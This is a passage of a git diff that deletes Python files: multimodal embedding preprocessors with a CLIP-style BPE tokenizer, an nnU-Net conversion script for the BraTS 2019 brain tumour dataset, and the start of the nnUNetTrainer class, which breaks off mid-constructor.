-    N = pos_embed.shape[1]
-    if N == target_spatial_size:
-        return pos_embed
-    dim = pos_embed.shape[-1]
-    # nn.functional.interpolate doesn't work with bfloat16 so we cast to float32
-    pos_embed, updated = cast_if_src_dtype(pos_embed, torch.bfloat16, torch.float32)
-    pos_embed = nn.functional.interpolate(
-        pos_embed.reshape(1, int(math.sqrt(N)), int(math.sqrt(N)), dim).permute(
-            0, 3, 1, 2
-        ),
-        scale_factor=math.sqrt(target_spatial_size / N),
-        mode="bicubic",
-    )
-    if updated:
-        pos_embed, _ = cast_if_src_dtype(pos_embed, torch.float32, torch.bfloat16)
-    pos_embed = pos_embed.permute(0, 2, 3, 1).view(1, -1, dim)
-    return pos_embed
-
-
-def interpolate_pos_encoding(
-    npatch_per_img,
-    pos_embed,
-    patches_layout,
-    input_shape=None,
-    first_patch_idx=1,
-):
-    assert first_patch_idx == 0 or first_patch_idx == 1, "there is 1 CLS token or none"
-    N = pos_embed.shape[1] - first_patch_idx  # since it's 1 if cls_token exists
-    if npatch_per_img == N:
-        return pos_embed
-
-    assert (
-        patches_layout[-1] == patches_layout[-2]
-    ), "Interpolation of pos embed not supported for non-square layouts"
-
-    class_emb = pos_embed[:, :first_patch_idx]
-    pos_embed = pos_embed[:, first_patch_idx:]
-
-    if input_shape is None or patches_layout[0] == 1:
-        # simple 2D pos embedding, no temporal component
-        pos_embed = interpolate_pos_encoding_2d(npatch_per_img, pos_embed)
-    elif patches_layout[0] > 1:
-        # pos embed has a temporal component
-        assert len(input_shape) == 4, "temporal interpolation not supported"
-        # we only support 2D interpolation in this case
-        num_frames = patches_layout[0]
-        num_spatial_tokens = patches_layout[1] * patches_layout[2]
-        pos_embed = pos_embed.view(1, num_frames, num_spatial_tokens, -1)
-        # interpolate embedding for zeroth frame
-        pos_embed = interpolate_pos_encoding_2d(
-            npatch_per_img, pos_embed[0, 0, ...].unsqueeze(0)
-        )
-    else:
-        raise ValueError("This type of interpolation isn't implemented")
-
-    return torch.cat((class_emb, pos_embed), dim=1)
-
-
-def _get_pos_embedding(
-    npatch_per_img,
-    pos_embed,
-    patches_layout,
-    input_shape,
-    first_patch_idx=1,
-):
-    pos_embed = interpolate_pos_encoding(
-        npatch_per_img,
-        pos_embed,
-        patches_layout,
-        input_shape=input_shape,
-        first_patch_idx=first_patch_idx,
-    )
-    return pos_embed
-
-
-class PatchEmbedGeneric(nn.Module):
-    """
-    PatchEmbed from Hydra
-    """
-
-    def __init__(self, proj_stem, norm_layer: Optional[nn.Module] = None):
-        super().__init__()
-
-        if len(proj_stem) > 1:
-            self.proj = nn.Sequential(*proj_stem)
-        else:
-            # Special case to be able to load pre-trained models that were
-            # trained with a standard stem
-            self.proj = proj_stem[0]
-        self.norm_layer = norm_layer
-
-    def get_patch_layout(self, img_size):
-        with torch.no_grad():
-            dummy_img = torch.zeros(
-                [
-                    1,
-                ]
-                + img_size
-            )
-            dummy_out = self.proj(dummy_img)
-        embed_dim = dummy_out.shape[1]
-        patches_layout = tuple(dummy_out.shape[2:])
-        num_patches = np.prod(patches_layout)
-        return patches_layout, num_patches, embed_dim
-
-    def forward(self, x):
-        x = self.proj(x)
-        # B C (T) H W -> B (T)HW C
-        x = x.flatten(2).transpose(1, 2)
-        if self.norm_layer is not None:
-            x = self.norm_layer(x)
-        return x
-
-
-class SpatioTemporalPosEmbeddingHelper(VerboseNNModule):
-    def __init__(
-        self,
-        patches_layout: List,
-        num_patches: int,
-        num_cls_tokens: int,
-        embed_dim: int,
-        learnable: bool,
-    ) -> None:
-        super().__init__()
-        self.num_cls_tokens = num_cls_tokens
-        self.patches_layout = patches_layout
-        self.num_patches = num_patches
-        self.num_tokens = num_cls_tokens + num_patches
-        self.learnable = learnable
-        if self.learnable:
-            self.pos_embed = nn.Parameter(torch.zeros(1, self.num_tokens, embed_dim))
-            trunc_normal_(self.pos_embed, std=0.02)
-        else:
-            self.register_buffer(
-                "pos_embed", get_sinusoid_encoding_table(self.num_tokens, embed_dim)
-            )
-
-    def get_pos_embedding(self, vision_input, all_vision_tokens):
-        input_shape = vision_input.shape
-        pos_embed = _get_pos_embedding(
-            all_vision_tokens.size(1) - self.num_cls_tokens,
-            pos_embed=self.pos_embed,
-            patches_layout=self.patches_layout,
-            input_shape=input_shape,
-            first_patch_idx=self.num_cls_tokens,
-        )
-        return pos_embed
-
-
-class RGBDTPreprocessor(VerboseNNModule):
-    def __init__(
-        self,
-        rgbt_stem: PatchEmbedGeneric,
-        depth_stem: PatchEmbedGeneric,
-        img_size: List = (3, 224, 224),
-        num_cls_tokens: int = 1,
-        pos_embed_fn: Callable = None,
-        use_type_embed: bool = False,
-        init_param_style: str = "openclip",
-    ) -> None:
-        super().__init__()
-        stem = rgbt_stem if rgbt_stem is not None else depth_stem
-        (
-            self.patches_layout,
-            self.num_patches,
-            self.embed_dim,
-        ) = stem.get_patch_layout(img_size)
-        self.rgbt_stem = rgbt_stem
-        self.depth_stem = depth_stem
-        self.use_pos_embed = pos_embed_fn is not None
-        self.use_type_embed = use_type_embed
-        self.num_cls_tokens = num_cls_tokens
-
-        if self.use_pos_embed:
-            self.pos_embedding_helper = pos_embed_fn(
-                patches_layout=self.patches_layout,
-                num_cls_tokens=num_cls_tokens,
-                num_patches=self.num_patches,
-                embed_dim=self.embed_dim,
-            )
-        if self.num_cls_tokens > 0:
-            self.cls_token = nn.Parameter(
-                torch.zeros(1, self.num_cls_tokens, self.embed_dim)
-            )
-        if self.use_type_embed:
-            self.type_embed = nn.Parameter(torch.zeros(1, 1, self.embed_dim))
-
-        self.init_parameters(init_param_style)
-
-    @torch.no_grad()
-    def init_parameters(self, init_param_style):
-        if init_param_style == "openclip":
-            # OpenCLIP style initialization
-            scale = self.embed_dim**-0.5
-            if self.use_pos_embed:
-                nn.init.normal_(self.pos_embedding_helper.pos_embed)
-                self.pos_embedding_helper.pos_embed *= scale
-
-            if self.num_cls_tokens > 0:
-                nn.init.normal_(self.cls_token)
-                self.cls_token *= scale
-        elif init_param_style == "vit":
-            self.cls_token.data.fill_(0)
-        else:
-            raise ValueError(f"Unknown init {init_param_style}")
-
-        if self.use_type_embed:
-            nn.init.normal_(self.type_embed)
-
-    def tokenize_input_and_cls_pos(self, input, stem, mask):
-        # tokens is of shape B x L x D
-        tokens = stem(input)
-        assert tokens.ndim == 3
-        assert tokens.shape[2] == self.embed_dim
-        B = tokens.shape[0]
-        if self.num_cls_tokens > 0:
-            class_tokens = self.cls_token.expand(
-                B, -1, -1
-            )  # stole class_tokens impl from Phil Wang, thanks
-            tokens = torch.cat((class_tokens, tokens), dim=1)
-        if self.use_pos_embed:
-            pos_embed = self.pos_embedding_helper.get_pos_embedding(input, tokens)
-            tokens = tokens + pos_embed
-        if self.use_type_embed:
-            tokens = tokens + self.type_embed.expand(B, -1, -1)
-        return tokens
-
-    def forward(self, vision=None, depth=None, patch_mask=None):
-        if patch_mask is not None:
-            raise NotImplementedError()
-
-        if vision is not None:
-            vision_tokens = self.tokenize_input_and_cls_pos(
-                vision, self.rgbt_stem, patch_mask
-            )
-
-        if depth is not None:
-            depth_tokens = self.tokenize_input_and_cls_pos(
-                depth, self.depth_stem, patch_mask
-            )
-
-        # aggregate tokens
-        if vision is not None and depth is not None:
-            final_tokens = vision_tokens + depth_tokens
-        else:
-            final_tokens = vision_tokens if vision is not None else depth_tokens
-        return_dict = {
-            "trunk": {
-                "tokens": final_tokens,
-            },
-            "head": {},
-        }
-        return return_dict
-
-
-class AudioPreprocessor(RGBDTPreprocessor):
-    def __init__(self, audio_stem: PatchEmbedGeneric, **kwargs) -> None:
-        super().__init__(rgbt_stem=audio_stem, depth_stem=None, **kwargs)
-
-    def forward(self, audio=None):
-        return super().forward(vision=audio)
-
-
-class ThermalPreprocessor(RGBDTPreprocessor):
-    def __init__(self, thermal_stem: PatchEmbedGeneric, **kwargs) -> None:
-        super().__init__(rgbt_stem=thermal_stem, depth_stem=None, **kwargs)
-
-    def forward(self, thermal=None):
-        return super().forward(vision=thermal)
-
-
-def build_causal_attention_mask(context_length):
-    # lazily create causal attention mask, with full attention between the vision tokens
-    # pytorch uses additive attention mask; fill with -inf
-    mask = torch.empty(context_length, context_length, requires_grad=False)
-    mask.fill_(float("-inf"))
-    mask.triu_(1)  # zero out the lower diagonal
-    return mask
-
-
-class TextPreprocessor(VerboseNNModule):
-    def __init__(
-        self,
-        vocab_size: int,
-        context_length: int,
-        embed_dim: int,
-        causal_masking: bool,
-        supply_seq_len_to_head: bool = True,
-        num_cls_tokens: int = 0,
-        init_param_style: str = "openclip",
-    ) -> None:
-        super().__init__()
-        self.vocab_size = vocab_size
-        self.context_length = context_length
-        self.token_embedding = nn.Embedding(vocab_size, embed_dim)
-        self.pos_embed = nn.Parameter(
-            torch.empty(1, self.context_length + num_cls_tokens, embed_dim)
-        )
-        self.causal_masking = causal_masking
-        if self.causal_masking:
-            mask = build_causal_attention_mask(self.context_length)
-            # register the mask as a buffer so it can be moved to the right device
-            self.register_buffer("mask", mask)
-
-        self.supply_seq_len_to_head = supply_seq_len_to_head
-        self.num_cls_tokens = num_cls_tokens
-        self.embed_dim = embed_dim
-        if num_cls_tokens > 0:
-            assert self.causal_masking is False, "Masking + CLS token isn't implemented"
-            self.cls_token = nn.Parameter(
-                torch.zeros(1, self.num_cls_tokens, embed_dim)
-            )
-
-        self.init_parameters(init_param_style)
-
-    @torch.no_grad()
-    def init_parameters(self, init_param_style="openclip"):
-        # OpenCLIP style initialization
-        nn.init.normal_(self.token_embedding.weight, std=0.02)
-        nn.init.normal_(self.pos_embed, std=0.01)
-
-        if init_param_style == "openclip":
-            # OpenCLIP style initialization
-            scale = self.embed_dim**-0.5
-            if self.num_cls_tokens > 0:
-                nn.init.normal_(self.cls_token)
-                self.cls_token *= scale
-        elif init_param_style == "vit":
-            self.cls_token.data.fill_(0)
-        else:
-            raise ValueError(f"Unknown init {init_param_style}")
-
-    def forward(self, text):
-        # text tokens are of shape B x L x D
-        text_tokens = self.token_embedding(text)
-        # concat CLS tokens if any
-        if self.num_cls_tokens > 0:
-            B = text_tokens.shape[0]
-            class_tokens = self.cls_token.expand(
-                B, -1, -1
-            )  # stole class_tokens impl from Phil Wang, thanks
-            text_tokens = torch.cat((class_tokens, text_tokens), dim=1)
-        text_tokens = text_tokens + self.pos_embed
-        return_dict = {
-            "trunk": {
-                "tokens": text_tokens,
-            },
-            "head": {},
-        }
-        # Compute sequence length after adding CLS tokens
-        if self.supply_seq_len_to_head:
-            text_lengths = text.argmax(dim=-1)
-            return_dict["head"] = {
-                "seq_len": text_lengths,
-            }
-        if self.causal_masking:
-            return_dict["trunk"].update({"attn_mask": self.mask})
-        return return_dict
-
-
-class Im2Video(nn.Module):
-    """Convert an image into a trivial video."""
-
-    def __init__(self, time_dim=2):
-        super().__init__()
-        self.time_dim = time_dim
-
-    def forward(self, x):
-        if x.ndim == 4:
-            # B, C, H, W -> B, C, T, H, W
-            return x.unsqueeze(self.time_dim)
-        elif x.ndim == 5:
-            return x
-        else:
-            raise ValueError(f"Dimension incorrect {x.shape}")
-
-
-class PadIm2Video(Im2Video):
-    def __init__(self, ntimes, pad_type, time_dim=2):
-        super().__init__(time_dim=time_dim)
-        assert ntimes > 0
-        assert pad_type in ["zero", "repeat"]
-        self.ntimes = ntimes
-        self.pad_type = pad_type
-
-    def forward(self, x):
-        x = super().forward(x)
-        if x.shape[self.time_dim] == 1:
-            if self.pad_type == "repeat":
-                new_shape = [1] * len(x.shape)
-                new_shape[self.time_dim] = self.ntimes
-                x = x.repeat(new_shape)
-            elif self.pad_type == "zero":
-                padarg = [0, 0] * len(x.shape)
-                padarg[2 * self.time_dim + 1] = self.ntimes - x.shape[self.time_dim]
-                x = nn.functional.pad(x, padarg)
-        return x
-
-
-# Modified from github.com/openai/CLIP
-@lru_cache()
-def bytes_to_unicode():
-    """
-    Returns list of utf-8 byte and a corresponding list of unicode strings.
-    The reversible bpe codes work on unicode strings.
-    This means you need a large # of unicode characters in your vocab if you want to avoid UNKs.
-    When you're at something like a 10B token dataset you end up needing around 5K for decent coverage.
-    This is a signficant percentage of your normal, say, 32K bpe vocab.
-    To avoid that, we want lookup tables between utf-8 bytes and unicode strings.
-    And avoids mapping to whitespace/control characters the bpe code barfs on.
-    """
-    bs = (
-        list(range(ord("!"), ord("~") + 1))
-        + list(range(ord("¡"), ord("¬") + 1))
-        + list(range(ord("®"), ord("ÿ") + 1))
-    )
-    cs = bs[:]
-    n = 0
-    for b in range(2**8):
-        if b not in bs:
-            bs.append(b)
-            cs.append(2**8 + n)
-            n += 1
-    cs = [chr(n) for n in cs]
-    return dict(zip(bs, cs))
-
-
-def get_pairs(word):
-    """Return set of symbol pairs in a word.
-    Word is represented as tuple of symbols (symbols being variable-length strings).
-    """
-    pairs = set()
-    prev_char = word[0]
-    for char in word[1:]:
-        pairs.add((prev_char, char))
-        prev_char = char
-    return pairs
-
-
-def basic_clean(text):
-    text = ftfy.fix_text(text)
-    text = html.unescape(html.unescape(text))
-    return text.strip()
-
-
-def whitespace_clean(text):
-    text = re.sub(r"\s+", " ", text)
-    text = text.strip()
-    return text
-
-
-class SimpleTokenizer(object):
-    def __init__(self, bpe_path: str, context_length=77):
-        self.byte_encoder = bytes_to_unicode()
-        self.byte_decoder = {v: k for k, v in self.byte_encoder.items()}
-
-        with g_pathmgr.open(bpe_path, "rb") as fh:
-            bpe_bytes = io.BytesIO(fh.read())
-            merges = gzip.open(bpe_bytes).read().decode("utf-8").split("\n")
-        merges = merges[1 : 49152 - 256 - 2 + 1]
-        merges = [tuple(merge.split()) for merge in merges]
-        vocab = list(bytes_to_unicode().values())
-        vocab = vocab + [v + "</w>" for v in vocab]
-        for merge in merges:
-            vocab.append("".join(merge))
-        vocab.extend(["<|startoftext|>", "<|endoftext|>"])
-        self.encoder = dict(zip(vocab, range(len(vocab))))
-        self.decoder = {v: k for k, v in self.encoder.items()}
-        self.bpe_ranks = dict(zip(merges, range(len(merges))))
-        self.cache = {
-            "<|startoftext|>": "<|startoftext|>",
-            "<|endoftext|>": "<|endoftext|>",
-        }
-        self.pat = re.compile(
-            r"""<\|startoftext\|>|<\|endoftext\|>|'s|'t|'re|'ve|'m|'ll|'d|[\p{L}]+|[\p{N}]|[^\s\p{L}\p{N}]+""",
-            re.IGNORECASE,
-        )
-        self.context_length = context_length
-
-    def bpe(self, token):
-        if token in self.cache:
-            return self.cache[token]
-        word = tuple(token[:-1]) + (token[-1] + "</w>",)
-        pairs = get_pairs(word)
-
-        if not pairs:
-            return token + "</w>"
-
-        while True:
-            bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float("inf")))
-            if bigram not in self.bpe_ranks:
-                break
-            first, second = bigram
-            new_word = []
-            i = 0
-            while i < len(word):
-                try:
-                    j = word.index(first, i)
-                    new_word.extend(word[i:j])
-                    i = j
-                except:
-                    new_word.extend(word[i:])
-                    break
-
-                if word[i] == first and i < len(word) - 1 and word[i + 1] == second:
-                    new_word.append(first + second)
-                    i += 2
-                else:
-                    new_word.append(word[i])
-                    i += 1
-            new_word = tuple(new_word)
-            word = new_word
-            if len(word) == 1:
-                break
-            else:
-                pairs = get_pairs(word)
-        word = " ".join(word)
-        self.cache[token] = word
-        return word
-
-    def encode(self, text):
-        bpe_tokens = []
-        text = whitespace_clean(basic_clean(text)).lower()
-        for token in re.findall(self.pat, text):
-            token = "".join(self.byte_encoder[b] for b in token.encode("utf-8"))
-            bpe_tokens.extend(
-                self.encoder[bpe_token] for bpe_token in self.bpe(token).split(" ")
-            )
-        return bpe_tokens
-
-    def decode(self, tokens):
-        text = "".join([self.decoder[token] for token in tokens])
-        text = (
-            bytearray([self.byte_decoder[c] for c in text])
-            .decode("utf-8", errors="replace")
-            .replace("</w>", " ")
-        )
-        return text
-
-    def __call__(self, texts, context_length=None):
-        if not context_length:
-            context_length = self.context_length
-
-        if isinstance(texts, str):
-            texts = [texts]
-
-        sot_token = self.encoder["<|startoftext|>"]
-        eot_token = self.encoder["<|endoftext|>"]
-        all_tokens = [[sot_token] + self.encode(text) + [eot_token] for text in texts]
-        result = torch.zeros(len(all_tokens), context_length, dtype=torch.long)
-
-        for i, tokens in enumerate(all_tokens):
-            tokens = tokens[:context_length]
-            result[i, : len(tokens)] = torch.tensor(tokens)
-
-        if len(result) == 1:
-            return result[0]
-        return result
-
-
-class IMUPreprocessor(VerboseNNModule):
-    def __init__(
-        self,
-        kernel_size: int,
-        imu_stem: PatchEmbedGeneric,
-        embed_dim: int,
-        img_size: List = (6, 2000),
-        num_cls_tokens: int = 1,
-        pos_embed_fn: Callable = None,
-        init_param_style: str = "openclip",
-    ) -> None:
-        super().__init__()
-        stem = imu_stem
-        self.imu_stem = imu_stem
-        self.embed_dim = embed_dim
-        self.use_pos_embed = pos_embed_fn is not None
-        self.num_cls_tokens = num_cls_tokens
-        self.kernel_size = kernel_size
-        self.pos_embed = nn.Parameter(
-            torch.empty(1, (img_size[1] // kernel_size) + num_cls_tokens, embed_dim)
-        )
-
-        if self.num_cls_tokens > 0:
-            self.cls_token = nn.Parameter(
-                torch.zeros(1, self.num_cls_tokens, self.embed_dim)
-            )
-
-        self.init_parameters(init_param_style)
-
-    @torch.no_grad()
-    def init_parameters(self, init_param_style):
-        nn.init.normal_(self.pos_embed, std=0.01)
-
-        if init_param_style == "openclip":
-            # OpenCLIP style initialization
-            scale = self.embed_dim**-0.5
-
-            if self.num_cls_tokens > 0:
-                nn.init.normal_(self.cls_token)
-                self.cls_token *= scale
-        elif init_param_style == "vit":
-            self.cls_token.data.fill_(0)
-        else:
-            raise ValueError(f"Unknown init {init_param_style}")
-
-    def tokenize_input_and_cls_pos(self, input, stem):
-        # tokens is of shape B x L x D
-        tokens = stem.norm_layer(stem.proj(input))
-        assert tokens.ndim == 3
-        assert tokens.shape[2] == self.embed_dim
-        B = tokens.shape[0]
-        if self.num_cls_tokens > 0:
-            class_tokens = self.cls_token.expand(
-                B, -1, -1
-            )  # stole class_tokens impl from Phil Wang, thanks
-            tokens = torch.cat((class_tokens, tokens), dim=1)
-        if self.use_pos_embed:
-            tokens = tokens + self.pos_embed
-        return tokens
-
-    def forward(self, imu):
-        # Patchify
-        imu = imu.unfold(
-            -1,
-            self.kernel_size,
-            self.kernel_size,
-        ).permute(0, 2, 1, 3)
-        imu = imu.reshape(imu.size(0), imu.size(1), -1)
-
-        imu_tokens = self.tokenize_input_and_cls_pos(
-            imu,
-            self.imu_stem,
-        )
-
-        return_dict = {
-            "trunk": {
-                "tokens": imu_tokens,
-            },
-            "head": {},
-        }
-        return return_dict
diff --git a/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/dataset_conversion/Task043_BraTS_2019.py b/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/dataset_conversion/Task043_BraTS_2019.py
deleted file mode 100644
index 5e2ea37ec235cfccfffb4117026d44fe6caee3fa..0000000000000000000000000000000000000000
--- a/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/dataset_conversion/Task043_BraTS_2019.py
+++ /dev/null
@@ -1,164 +0,0 @@
-#    Copyright 2020 Division of Medical Image Computing, German Cancer Research Center (DKFZ), Heidelberg, Germany
-#
-#    Licensed under the Apache License, Version 2.0 (the "License");
-#    you may not use this file except in compliance with the License.
-#    You may obtain a copy of the License at
-#
-#        http://www.apache.org/licenses/LICENSE-2.0
-#
-#    Unless required by applicable law or agreed to in writing, software
-#    distributed under the License is distributed on an "AS IS" BASIS,
-#    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#    See the License for the specific language governing permissions and
-#    limitations under the License.
-
-
-import numpy as np
-from collections import OrderedDict
-
-from batchgenerators.utilities.file_and_folder_operations import *
-from nnunet.paths import nnUNet_raw_data
-import SimpleITK as sitk
-import shutil
-
-
-def copy_BraTS_segmentation_and_convert_labels(in_file, out_file):
-    # use this for segmentation only!!!
-    # nnUNet wants the labels to be continuous. BraTS is 0, 1, 2, 4 -> we make that into 0, 1, 2, 3
-    img = sitk.ReadImage(in_file)
-    img_npy = sitk.GetArrayFromImage(img)
-
-    uniques = np.unique(img_npy)
-    for u in uniques:
-        if u not in [0, 1, 2, 4]:
-            raise RuntimeError('unexpected label')
-
-    seg_new = np.zeros_like(img_npy)
-    seg_new[img_npy == 4] = 3
-    seg_new[img_npy == 2] = 1
-    seg_new[img_npy == 1] = 2
-    img_corr = sitk.GetImageFromArray(seg_new)
-    img_corr.CopyInformation(img)
-    sitk.WriteImage(img_corr, out_file)
-
-
-if __name__ == "__main__":
-    """
-    REMEMBER TO CONVERT LABELS BACK TO BRATS CONVENTION AFTER PREDICTION!
-    """
-
-    task_name = "Task043_BraTS2019"
-    downloaded_data_dir = "/home/sdp/MLPERF/Brats2019_DATA/MICCAI_BraTS_2019_Data_Training"
-
-    target_base = join(nnUNet_raw_data, task_name)
-    target_imagesTr = join(target_base, "imagesTr")
-    target_imagesVal = join(target_base, "imagesVal")
-    target_imagesTs = join(target_base, "imagesTs")
-    target_labelsTr = join(target_base, "labelsTr")
-
-    maybe_mkdir_p(target_imagesTr)
-    maybe_mkdir_p(target_imagesVal)
-    maybe_mkdir_p(target_imagesTs)
-    maybe_mkdir_p(target_labelsTr)
-
-    patient_names = []
-    for tpe in ["HGG", "LGG"]:
-        cur = join(downloaded_data_dir, tpe)
-        for p in subdirs(cur, join=False):
-            patdir = join(cur, p)
-            patient_name = tpe + "__" + p
-            patient_names.append(patient_name)
-            t1 = join(patdir, p + "_t1.nii.gz")
-            t1c = join(patdir, p + "_t1ce.nii.gz")
-            t2 = join(patdir, p + "_t2.nii.gz")
-            flair = join(patdir, p + "_flair.nii.gz")
-            seg = join(patdir, p + "_seg.nii.gz")
-
-            assert all([
-                isfile(t1),
-                isfile(t1c),
-                isfile(t2),
-                isfile(flair),
-                isfile(seg)
-            ]), "%s" % patient_name
-
-            shutil.copy(t1, join(target_imagesTr, patient_name + "_0000.nii.gz"))
-            shutil.copy(t1c, join(target_imagesTr, patient_name + "_0001.nii.gz"))
-            shutil.copy(t2, join(target_imagesTr, patient_name + "_0002.nii.gz"))
-            shutil.copy(flair, join(target_imagesTr, patient_name + "_0003.nii.gz"))
-
-            copy_BraTS_segmentation_and_convert_labels(seg, join(target_labelsTr, patient_name + ".nii.gz"))
-
-
-    json_dict = OrderedDict()
-    json_dict['name'] = "BraTS2019"
-    json_dict['description'] = "nothing"
-    json_dict['tensorImageSize'] = "4D"
-    json_dict['reference'] = "see BraTS2019"
-    json_dict['licence'] = "see BraTS2019 license"
-    json_dict['release'] = "0.0"
-    json_dict['modality'] = {
-        "0": "T1",
-        "1": "T1ce",
-        "2": "T2",
-        "3": "FLAIR"
-    }
-    json_dict['labels'] = {
-        "0": "background",
-        "1": "edema",
-        "2": "non-enhancing",
-        "3": "enhancing",
-    }
-    json_dict['numTraining'] = len(patient_names)
-    json_dict['numTest'] = 0
-    json_dict['training'] = [{'image': "./imagesTr/%s.nii.gz" % i, "label": "./labelsTr/%s.nii.gz" % i} for i in
-                             patient_names]
-    json_dict['test'] = []
-
-    save_json(json_dict, join(target_base, "dataset.json"))
-
-    downloaded_data_dir = "/home/sdp/MLPERF/Brats2019_DATA/MICCAI_BraTS_2019_Data_Validation"
-
-    for p in subdirs(downloaded_data_dir, join=False):
-        patdir = join(downloaded_data_dir, p)
-        patient_name = p
-        t1 = join(patdir, p + "_t1.nii.gz")
-        t1c = join(patdir, p + "_t1ce.nii.gz")
-        t2 = join(patdir, p + "_t2.nii.gz")
-        flair = join(patdir, p + "_flair.nii.gz")
-
-        assert all([
-            isfile(t1),
-            isfile(t1c),
-            isfile(t2),
-            isfile(flair),
-        ]), "%s" % patient_name
-
-        shutil.copy(t1, join(target_imagesVal, patient_name + "_0000.nii.gz"))
-        shutil.copy(t1c, join(target_imagesVal, patient_name + "_0001.nii.gz"))
-        shutil.copy(t2, join(target_imagesVal, patient_name + "_0002.nii.gz"))
-        shutil.copy(flair, join(target_imagesVal, patient_name + "_0003.nii.gz"))
-
-    """
-    #I dont have the testing data
-    downloaded_data_dir = "/home/fabian/Downloads/BraTS2018_train_val_test_data/MICCAI_BraTS_2018_Data_Testing_FIsensee"
-
-    for p in subdirs(downloaded_data_dir, join=False):
-        patdir = join(downloaded_data_dir, p)
-        patient_name = p
-        t1 = join(patdir, p + "_t1.nii.gz")
-        t1c = join(patdir, p + "_t1ce.nii.gz")
-        t2 = join(patdir, p + "_t2.nii.gz")
-        flair = join(patdir, p + "_flair.nii.gz")
-
-        assert all([
-            isfile(t1),
-            isfile(t1c),
-            isfile(t2),
-            isfile(flair),
-        ]), "%s" % patient_name
-
-        shutil.copy(t1, join(target_imagesTs, patient_name + "_0000.nii.gz"))
-        shutil.copy(t1c, join(target_imagesTs, patient_name + "_0001.nii.gz"))
-        shutil.copy(t2, join(target_imagesTs, patient_name + "_0002.nii.gz"))
-        shutil.copy(flair, join(target_imagesTs, patient_name + "_0003.nii.gz"))"""
diff --git a/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/training/network_training/nnUNetTrainer.py b/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/training/network_training/nnUNetTrainer.py
deleted file mode 100644
index ef906fe9ac26738f7db3ca867c43ac325d9086bc..0000000000000000000000000000000000000000
--- a/spaces/ho11laqe/nnUNet_calvingfront_detection/nnunet/training/network_training/nnUNetTrainer.py
+++ /dev/null
@@ -1,748 +0,0 @@
-#    Copyright 2020 Division of Medical Image Computing, German Cancer Research Center (DKFZ), Heidelberg, Germany
-#
-#    Licensed under the Apache License, Version 2.0 (the "License");
-#    you may not use this file except in compliance with the License.
-#    You may obtain a copy of the License at
-#
-#        http://www.apache.org/licenses/LICENSE-2.0
-#
-#    Unless required by applicable law or agreed to in writing, software
-#    distributed under the License is distributed on an "AS IS" BASIS,
-#    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#    See the License for the specific language governing permissions and
-#    limitations under the License.
-
-
-import shutil
-from collections import OrderedDict
-from multiprocessing import Pool
-from time import sleep
-from typing import Tuple, List
-
-import matplotlib
-import numpy as np
-import torch
-from batchgenerators.utilities.file_and_folder_operations import *
-from torch import nn
-from torch.optim import lr_scheduler
-
-import nnunet
-from nnunet.configuration import default_num_threads
-from nnunet.evaluation.evaluator import aggregate_scores
-from nnunet.inference.segmentation_export import save_segmentation_nifti_from_softmax
-from nnunet.network_architecture.generic_UNet import Generic_UNet
-from nnunet.network_architecture.initialization import InitWeights_He
-from nnunet.network_architecture.neural_network import SegmentationNetwork
-from nnunet.postprocessing.connected_components import determine_postprocessing
-from nnunet.training.data_augmentation.default_data_augmentation import default_3D_augmentation_params, \
-    default_2D_augmentation_params, get_default_augmentation, get_patch_size
-from nnunet.training.dataloading.dataset_loading import load_dataset, DataLoader3D, DataLoader2D, unpack_dataset
-from nnunet.training.loss_functions.dice_loss import DC_and_CE_loss
-from nnunet.training.network_training.network_trainer import NetworkTrainer
-from nnunet.utilities.nd_softmax import softmax_helper
-from nnunet.utilities.tensor_utilities import sum_tensor
-
-matplotlib.use("agg")
-
-
-class nnUNetTrainer(NetworkTrainer):
-    def __init__(self, plans_file, fold, output_folder=None, dataset_directory=None, batch_dice=True, stage=None,
-                 unpack_data=True, deterministic=True, fp16=False):
-        """
-        :param deterministic:
-        :param fold: can be either [0 ... 5) for cross-validation, 'all' to train on all available training data or
-        None if you wish to load some checkpoint and do inference only
-        :param plans_file: the pkl file generated by preprocessing. This file will determine all design choices
-        :param subfolder_with_preprocessed_data: must be a subfolder of dataset_directory (just the name of the folder,
-        not the entire path). This is where the preprocessed data lies that will be used for network training. We made
-        this explicitly available so that differently preprocessed data can coexist and the user can choose what to use.
-        Can be None if you are doing inference only.
-        :param output_folder: where to store parameters, plot progress and to the validation
-        :param dataset_directory: the parent directory in which the preprocessed Task data is stored. This is required
-        because the split information is stored in this directory. For running prediction only this input is not
-        required and may be set to None
-        :param batch_dice: compute dice loss for each sample and average over all samples in the batch or pretend the
-        batch is a pseudo volume?
-        :param stage: The plans file may contain several stages (used for lowres / highres / pyramid). Stage must be
-        specified for training:
-        if stage 1 exists then stage 1 is the high resolution stage, otherwise it's 0
-        :param unpack_data: if False, npz preprocessed data will not be unpacked to npy. This consumes less space but
-        is considerably slower! Running unpack_data=False with 2d should never be done!
-
-        IMPORTANT: If you inherit from nnUNetTrainer and the init args change then you need to redefine self.init_args
-        in your init accordingly. Otherwise checkpoints won't load properly!
-        """
-        super(nnUNetTrainer, self).__init__(deterministic, fp16)
-        self.unpack_data = unpack_data
-        self.init_args = (plans_file, fold, output_folder, dataset_directory, batch_dice, stage, unpack_data,
-                          deterministic, fp16)
-        # set through arguments from init
-        self.stage = stage
-        self.experiment_name = self.__class__.__name__
-        self.plans_file = plans_file
-        self.output_folder = output_folder
-        self.dataset_directory = dataset_directory
-        self.output_folder_base = self.output_folder
-        self.fold = fold
-
-        self.plans = None
-
-        # if we are running inference only then the self.dataset_directory is set (due to checkpoint loading) but it
-        # irrelevant
-        if self.dataset_directory is not None and isdir(self.dataset_directory):
-            self.gt_niftis_folder = join(self.dataset_directory, "gt_segmentations")
-        else:
-            self.gt_niftis_folder = None
-
-        self.folder_with_preprocessed_data = None
-
-        # set in self.initialize()
-
-        self.dl_tr = self.dl_val = None
-        self.num_input_channels = self.num_classes = self.net_pool_per_axis = self.patch_size = self.batch_size = \
-            self.threeD = self.base_num_features = self.intensity_properties = self.normalization_schemes = \
-            self.net_num_pool_op_kernel_sizes = self.net_conv_kernel_sizes = None  # loaded automatically from plans_file
-        self.basic_generator_patch_size = self.data_aug_params = self.transpose_forward = self.transpose_backward = None
-
-        self.batch_dice = batch_dice
